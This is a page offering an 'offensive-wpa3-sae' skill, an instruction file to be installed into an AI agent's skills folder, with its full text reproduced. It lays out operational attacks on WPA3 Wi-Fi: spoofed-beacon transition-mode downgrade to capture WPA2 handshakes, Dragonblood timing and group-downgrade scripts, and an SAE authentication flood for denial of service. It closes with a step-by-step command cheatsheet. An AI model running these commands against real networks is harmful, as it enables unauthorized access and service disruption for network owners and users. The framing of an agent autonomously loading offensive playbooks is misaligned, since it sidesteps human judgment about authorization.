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offensive-wpa3-sae skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

WPA3 / SAE (Simultaneous Authentication of Equals) attack methodology — transition-mode (mixed WPA2/WPA3) downgrade, Dragonblood side-channel attacks (CVE-2019-9494, 9495, 13377, 13456), SAE auth flooding for AP CPU exhaustion, Hash-to-Element (H2E) timing analysis, group downgrade, and 6 GHz / Wi-Fi 6E spec implications (PMF mandatory, no transition mode allowed). Use when target advertises WPA3-SAE or WPA3-Personal/Enterprise, or operates in 6 GHz where WPA3 + PMF are required by spec.

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Install the offensive-wpa3-sae skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/wireless/offensive-wpa3-sae ~/.claude/skills/offensive-wpa3-sae
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

WPA3 / SAE Attacks

WPA3 fixes the offline-handshake-cracking weakness of WPA2 by replacing the 4-way PSK exchange with SAE (a Dragonfly-derived password-authenticated key exchange). The straightforward offline crack disappears — but transition-mode misconfigurations and the original SAE implementation's side-channel leaks open new paths.

Quick Workflow

  1. Verify the target advertises WPA3 (RSN IE shows AKM SAE = 8)
  2. Check for transition-mode (mixed WPA2 + WPA3) — easiest path
  3. If pure WPA3, fingerprint the AP's hostapd version for Dragonblood applicability
  4. Side-channel timing or cache attacks if reachable
  5. Otherwise, accept that offline cracking isn't viable — pivot to other surfaces

Transition-Mode Downgrade

If the AP advertises both WPA2-PSK and WPA3-SAE (transition mode for mixed-client networks), older clients can be forced onto WPA2:

# Identify transition mode in beacon frames
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption column shows WPA2 WPA3 (both)

Steps:

  1. Spoof a beacon advertising only RSN-WPA2 with the same BSSID/SSID
  2. Client roams to your beacon, performs WPA2 4-way handshake
  3. Capture handshake exactly like offensive-wpa2-psk
# Use hostapd-mana or airbase-ng for the WPA2-only AP advertisement
airbase-ng -e CorpWiFi -c 6 -W 1 wlan0mon
# -W 1 enables WPA, configure for WPA2-only RSN element

Why this works: WPA3-SAE clients fall back to WPA2-PSK if the AP only advertises WPA2 — there's no protected downgrade defense in transition mode. WPA3-only mode (no transition) blocks this.

Mitigation defenders use: WPA3-only networks (no WPA2). Wi-Fi 6E (6 GHz) mandates WPA3-only by spec.

Dragonblood (CVE-2019-9494 / 9495 / 13377 / 13456)

Side-channel and downgrade attacks against the SAE Hunting-and-Pecking algorithm in pre-2.10 hostapd / wpa_supplicant.

Cache-Based Side-Channel

The original SAE password-element derivation iterates a variable number of times depending on the password and MAC. Cache hits leak the iteration count.

git clone https://github.com/vanhoefm/dragonblood
cd dragonblood

# Cache-based attack (requires co-located malicious code on target host — limited)
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon

Timing Side-Channel

The same iteration count leaks via observable timing of the SAE commit phase from outside.

python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon --mode timing

Downgrade to Weak Group

Some implementations accept SAE with the deprecated MODP group 5 if the client requests it. Combined with cache/timing side channels, this enables offline dictionary attack.

python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF

Patched Versions

Hash-to-Element (H2E)

WPA3 R2 introduced H2E to replace the iteration-leaky Hunting-and-Pecking. H2E is constant-time. If the AP advertises H2E in the RSNXE element, Dragonblood-class attacks don't apply.

# Wireshark filter
wlan.rsnx.field.h2e

If H2E is present and required (no Hunting-and-Pecking fallback), only the spec is left to attack — abandon SAE attacks and pivot to other surfaces (PMF check, evil-twin via EAP if Enterprise, supply-chain via management frames).

SAE Auth Flooding (DoS)

SAE's commit phase requires the AP to do heavy elliptic-curve work per association attempt. Floods can exhaust CPU on lower-end APs, denying service to legitimate clients.

sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Auth attack mode -a, multiple per second -s 1024

This is a DoS — only with explicit authorization. Modern enterprise APs use anti-clogging tokens to throttle SAE-flood attacks; consumer routers often don't.

6 GHz / Wi-Fi 6E Implications

The 6 GHz band (Wi-Fi 6E, channels 1–233 in the 5925–7125 MHz range) requires:

  • WPA3-only (no transition mode)
  • PMF (802.11w) mandatory (deauth/disassoc protected)
  • OWE (Opportunistic Wireless Encryption) for open networks

Net effect: most pre-WPA3 attacks (deauth, transition-mode downgrade) don't apply on 6 GHz. Pure SAE side-channel, evil-twin, or out-of-band attacks remain viable.

Detection Considerations

WPA3 is enterprise-defended much like WPA2 — WIDS catches:

  • Beacon spoofing (transition-mode downgrade) via fingerprint mismatch (IE order, vendor-specific, beacon timing)
  • SAE flood via association rate per source MAC
  • Repeated SAE commit failures (timing attack telemetry)

Successful Dragonblood-class attacks against patched modern hostapd are unlikely. Consumer SOHO and embedded APs are still in scope.

Engagement Cheatsheet

# 1. Identify mode
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# Encryption: WPA2 + WPA3 → transition; WPA3-only → SAE-only

# 2. Transition-mode downgrade attempt
sudo airbase-ng -e <ESSID> -c <ch> -W 1 -z 4 wlan0mon  # WPA2-RSN advertised only

# 3. Wait for client roam, capture WPA2 handshake (handoff to offensive-wpa2-psk)

# 4. If pure WPA3, fingerprint hostapd
# (passive analysis of beacon IE order + version-specific behaviors)

# 5. Run Dragonblood test scripts if pre-2.10 hostapd suspected
python3 dragondrain.py wlan0mon <BSSID>
python3 dragontime.py --bssid <BSSID> --iface wlan0mon

# 6. Document residual viable attacks; pivot to evil-twin / EAP / RF if pure WPA3 R2

Key References

  • Dragonblood: dragonblood.net (Vanhoef + Ronen)
  • IEEE 802.11-2020 (combined spec including WPA3)
  • WFA WPA3 Specification
  • hostapd 2.10 release notes
  • Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

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